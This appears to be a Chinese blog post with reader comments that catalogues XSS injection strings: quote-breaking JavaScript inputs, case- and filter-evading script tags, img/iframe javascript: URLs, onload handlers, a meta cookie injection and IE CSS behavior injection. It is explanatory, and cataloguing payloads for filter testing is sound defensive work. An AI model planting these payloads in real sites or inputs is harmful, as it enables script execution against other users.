前端开发常见的安全问题就是会遭受 XSS 注入攻击 ,这里列举常见的代码注入方式。
Javascript 代码注入
Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据( 包括 JSONP )等。
很多时候会写这样的代码
document.write('u name is' + name);
这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时
';alert('xss');//
";alert('xss');//
'';!--"<xss>=&{()}
就会破坏原有代码结构,插入不期望的代码。
HTML 标签注入
HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码
逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。
<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js>
</script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/
alert(a.source)</script>
从图片标签中注入,在些论坛上比较常见
<img src="javascript:alert('xss');">
<img """><script>alert("xss")</script>">
<img src="xss.php?param">
从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)
<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>
其他容易注入的地方
<body onload=alert('xss')>
<iframe src="javascript:alert('xss');"></iframe>
<embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">
先摘记举例那么多,下期的内容包括「CSS 注入」、「其他注入方法」以及一般性解决方案,欢迎探讨和纠正。
无趣
咳咳,生命在于折腾
界面更新不错!!
万圣节的礼物~
人类真变态
接上一期,这里主要考虑 CSS 注入的方式。CSS 注入主要为背景图注入和针对 Exploer 的 CSS Expression 注入。
考虑没有完全将样式过滤的情况,下面的代码即有可能成为攻击代码
<xss style="behavior: url(xss.htc);">上面的是针对 Exploer 的 htc 注入,htc 可以认为是个脚本。
<div style="background-image: xss.jpg">谁会知道 x
<img>
为什么是XSS,什么意思
怎么防治?
看的还是比较迷糊。。
已经总结的比较全面了。